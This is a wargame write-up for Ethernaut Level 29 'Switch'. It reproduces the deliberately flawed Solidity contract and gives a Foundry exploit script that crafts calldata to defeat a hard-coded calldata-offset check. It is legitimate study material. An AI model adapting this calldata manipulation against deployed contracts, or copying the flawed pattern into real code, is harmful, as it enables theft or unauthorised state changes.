Eridian
eridian.xyzx.comGitHub
  • 📖Eridian Docs
  • Ethereum Dev
    • ✏️Ethereum Notes
      • 🎛️Technical Basics
      • 🪧Ethereum Addresses
      • 📚Ethereum State Explained
      • ⛽Gas Fees Explained
    • 🔧Useful Tools
      • ☁️Ethers
      • *️⃣Ethernal
    • 📝Solidity Notes
      • ❔Interview Questions
        • 🟢1. Easy - Interview Questions
        • 🟠2. Medium - Interview Questions
        • 🟡3. Hard - Interview Questions
        • 🔴4. Advanced - Interview Questions
      • 💡Note Ideas
      • ABI
      • abi.encodePacked
      • Abstract Contracts
      • Arrays
      • Casting
      • CEI - Checks, Effects, Interactions
      • Comments (NATSPEC)
      • Constructor
      • Contract Structure & Versions
      • Data - Storage vs Memory
      • Data - Storage Layout
      • Enum
      • Errors (require & revert)
      • Events
      • EVM Opcodes
      • External Contract Interaction
      • 🏗️External Dependencies
      • Functions
      • Function Modifiers
      • If / Else / For / While Loops
      • Inheritance
      • Interfaces
      • Keccak256
      • Library
      • Mappings
      • msg.sender
      • Objects & Types
      • OpenZeppelin
      • Payable
      • Public State Variable vs Function
      • Receive & Fallback
      • Security
      • Self Destruct
      • Send ETH (transfer, send, call)
      • Stack Too Deep
      • Structs
      • Style Guide
      • Time Units
      • Try / Catch
      • Typecasting
      • Using Directive
      • Variables, Consts & Immutable
      • Withdraws
    • ⚒️Foundry Notes
      • 📖Docs & GitHub Pages
      • 🤝Useful Commands
        • 🔨Anvil
        • 🪄Cast
        • 🔥Forge
      • 🧪Tests
        • Cheatcodes
      • 📝Useful Scripts
        • Deploy Contract Using Hex
    • 👾DeFi Challenges
      • 👨‍🚀Ethernaut
        • Ethernaut - Template
        • Level 1 - Fallback ⏺
        • Level 2 - Fallout ⏺
        • Level 3 - Coin Flip ⏺⏺
        • Level 4 - Telephone ⏺
        • Level 5 - Token ⏺⏺
        • Level 6 - Delegation ⏺⏺
        • Level 7 - Force ⏺⏺⏺
        • Level 8 - Vault ⏺⏺
        • Level 9 - King ⏺⏺⏺
        • Level 10 - Re-entrancy ⏺⏺⏺
        • Level 11 - Elevator ⏺⏺
        • Level 12 - Privacy ⏺⏺⏺
        • Level 13 - Gatekeeper 1 ⏺⏺⏺⏺
        • Level 14 - Gatekeeper 2 ⏺⏺⏺
        • Level 15 - Naught Coin ⏺⏺⏺
        • Level 16 - Preservation ⏺⏺⏺⏺
        • Level 17 - Recovery ⏺⏺⏺
        • Level 18 - Magic Number ⏺⏺⏺
        • Level 19 - Alien Codex ⏺⏺⏺⏺
        • Level 20 - Denial ⏺⏺⏺
        • Level 21 - Shop ⏺⏺
        • Level 22 - Dex ⏺⏺
        • Level 23 - Dex Two ⏺⏺
        • Level 24 - Puzzle Wallet ⏺⏺⏺⏺
        • Level 25 - Motorbike ⏺⏺⏺
        • Level 26 - DoubleEntryPoint ⏺⏺
        • Level 27 - Good Samaritan ⏺⏺⏺
        • Level 28 - Gatekeeper 3 ⏺⏺⏺
        • Level 29 - Switch ⏺⏺⏺⏺
        • Level 30 - Higher Order ⏺⏺⏺⏺
        • Level 31 - Stake ⏺⏺⏺
      • 💸Damn Vulnerable DeFi
    • 🔍Auditing
      • 🗞️Exploit Resources
      • 🔧Audit Tools
    • 🤖MEV
  • Infrastructure Docs
    • 💻Hardware
    • 🐧Linux
      • 📖Linux Glossary
      • ⌨️Linux Commands
      • 💾Installation
      • 🏗️Maintenance
      • 🖥️Ubuntu Desktop
      • 🛜ZeroTier
      • 🎞️TMUX
      • 🔵Bluetooth
    • ⛓️Ethereum Clients
      • ⚙️Execution Clients
        • ⛏️Geth
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
        • 🐻Erigon
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
        • 🧶Besu
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • 🤝Beacon Clients
        • 💡Lighthouse
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
        • 🪅Teku
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • 💎Validator Clients
        • 💡Lighthouse
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • ➕L2 Clients
        • 🔵Base
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • 💰MEV Boost
        • 💾Installation
        • 🏗️Maintenance
    • 🚨Alerting and Monitoring
      • 🔥Prometheus
      • 🌡️HealthChecks.io
      • 📟PagerDuty
  • General Dev
    • 💾Git Notes
      • Repos
      • Committing changes
      • Branches
      • Merging & Rebasing
      • PRs
Powered by GitBook
On this page
  • Level Setup
  • Level Contract
  • Exploit
  • Completion Message
  • Notes
Edit on GitHub
  1. Ethereum Dev
  2. DeFi Challenges
  3. Ethernaut

Level 29 - Switch ⏺⏺⏺⏺

Last updated 8 months ago

Level Setup

Just have to flip the switch. Can't be that hard, right?

Things that might help:

Understanding how CALLDATA is encoded.

Level Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Switch {
    bool public switchOn; // switch is off
    bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

    modifier onlyThis() {
        require(msg.sender == address(this), "Only the contract can call this");
        _;
    }

    modifier onlyOff() {
        // we use a complex data type to put in memory
        bytes32[1] memory selector;
        // check that the calldata at position 68 (location of _data)
        assembly {
            calldatacopy(selector, 68, 4) // grab function selector from calldata
        }
        require(selector[0] == offSelector, "Can only call the turnOffSwitch function");
        _;
    }

    function flipSwitch(bytes memory _data) public onlyOff {
        (bool success,) = address(this).call(_data);
        require(success, "call failed :(");
    }

    function turnSwitchOn() public onlyThis {
        switchOn = true;
    }

    function turnSwitchOff() public onlyThis {
        switchOn = false;
    }
}

Exploit

make anvil-exploit-level-29

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
make holesky-exploit-level-29

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
script/Level29.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";

// ================================================================
// │                        LEVEL 29 - SWITCH                     │
// ================================================================

interface ISwitch {
    function flipSwitch(bytes memory _data) external;
    function offSelector() external returns (bytes4);
}

contract Exploit is Script, HelperFunctions {
    function run() public {
        address targetContractAddress = getInstanceAddress();
        ISwitch switchContract = ISwitch(targetContractAddress);

        vm.startBroadcast();
        bytes4 flipSwitchSelector = bytes4(keccak256("flipSwitch(bytes)"));
        bytes4 offSelector = switchContract.offSelector();
        bytes4 onSelector = bytes4(keccak256("turnSwitchOn()"));

        bytes memory callData = abi.encodePacked(
            flipSwitchSelector, // 4 bytes - 30c13ade (flipSwitch selector)
            uint256(0x60), // 32 bytes - offset for the data field
            new bytes(32), // 32 bytes - zero padding
            offSelector, // 4 bytes - 20606e15 (turnSwitchOff selector)
            new bytes(28), // 28 bytes - zero padding
            uint256(0x4), // 4 bytes - length of data field
            onSelector // 4 bytes - 76227e12 (turnSwitchOn selector)
        );

        // Call flipSwitch with this manipulated data
        (bool success,) = targetContractAddress.call(callData);
        require(success, "Call failed");

        vm.stopBroadcast();
    }
}

Submit instance... 🥳

Completion Message

Assuming positions in CALLDATA with dynamic types can be erroneous, especially when using hard-coded CALLDATA positions.

Notes

👾
👨‍🚀
https://ethernaut.openzeppelin.com/level/29
Logo
ethernaut/contracts/src/levels/Switch.sol at a89c8f7832258655c09fde16e6602c78e5e99dbd · OpenZeppelin/ethernautGitHub
ethernaut-foundry/script/Level29.s.sol at 5b6f223f2f9512f3e0f6bac0306dbc2032111051 · EridianAlpha/ethernaut-foundryGitHub
ethernaut-foundry/test/Switch.t.sol at main · highskore/ethernaut-foundryGitHub
Logo
Logo
Logo